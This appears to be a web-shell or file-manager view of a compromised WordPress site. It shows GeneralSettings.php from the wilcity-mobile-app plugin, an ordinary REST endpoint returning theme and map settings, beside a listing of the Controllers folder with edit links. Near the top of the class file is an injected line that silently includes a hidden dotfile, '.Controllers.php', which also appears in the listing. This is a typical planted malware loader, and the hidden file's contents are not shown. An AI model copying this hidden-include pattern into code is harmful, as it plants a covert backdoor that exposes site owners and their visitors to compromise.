PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
app
/
Controllers
<?php namespace WILCITY_APP\Controllers; use WilokeListingTools\Controllers\RegisterLoginController; use WilokeListingTools\Framework\Helpers\General; use WilokeListingTools\Frontend\User; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class GeneralSettings { public function __construct() { add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX.'/v2', 'general-settings', array( 'methods' => 'GET', 'callback' => array($this, 'getColorPrimary') )); }); } public function getColorPrimary(){ $aThemeOptions = \Wiloke::getThemeOptions(true); $themeColor = $aThemeOptions['advanced_main_color']; if ( $themeColor == 'custom' ){ if ( isset($aThemeOptions['advanced_custom_main_color']['rgba']) ){ $themeColor = $aThemeOptions['advanced_custom_main_color']['rgba']; } }else{ $themeColor = '#f06292'; } $googleAPI = isset($aThemeOptions['general_google_api']) && !empty($aThemeOptions['general_google_api']) ? $aThemeOptions['general_google_api'] : ''; $googleLang = isset($aThemeOptions['general_google_language']) && !empty($aThemeOptions['general_google_language']) ? $aThemeOptions['general_google_language'] : ''; if ( !isset($aThemeOptions['content_position']) ){ $contentPosition = 'above_sidebar'; }else{ $contentPosition = $aThemeOptions['content_position']; } return array( 'colorPrimary' => $themeColor, 'oGoogleMapAPI'=> array( 'key' => $googleAPI, 'language' => $googleLang, 'types' => 'geocode' ), 'defaultZoom' => 39.5, 'oSingleListing' => array( 'contentPosition' => $contentPosition ), 'isAllowRegistering' => RegisterLoginController::canRegister() ? 'yes' : 'no', 'oAdmob' => array( ) ); } }
[+]
..
[-] ParsePost.php
[edit]
[-] SearchField.php
[edit]
[-] FirebaseDB.php
[edit]
[-] Translations.php
[edit]
[-] GetSecurityKey.php
[edit]
[-] .Controllers.php
[edit]
[-] BuildToken.php
[edit]
[-] Review.php
[edit]
[-] FieldHelps.php
[edit]
[-] BuildQuery.php
[edit]
[-] TermController.php
[edit]
[-] Taxonomies.php
[edit]
[-] AdmobController.php
[edit]
[-] FirebaseController.php
[edit]
[-] NotificationController.php
[edit]
[-] LoginRegister.php
[edit]
[-] UserController.php
[edit]
[-] Event.php
[edit]
[-] HomeController.php
[edit]
[+]
Firebase
[-] UserPermission.php
[edit]
[-] OrderBy.php
[edit]
[-] ReviewController.php
[edit]
[-] Listing.php
[edit]
[-] GeneralSettings.php
[edit]
[-] MenuController.php
[edit]
[-] Events.php
[edit]
[-] Blog.php
[edit]
[-] JsonSkeleton.php
[edit]
[-] ReportController.php
[edit]
[-] VerifyToken.php
[edit]
[-] Filter.php
[edit]
[-] NearByMe.php
[edit]
[-] Message.php
[edit]
[-] ImageController.php
[edit]
[-] FavoritesController.php
[edit]
[-] PostTypes.php
[edit]
[-] Listings.php
[edit]
[-] DashboardController.php
[edit]
[-] MyDirectoryController.php
[edit]
[-] MessageController.php
[edit]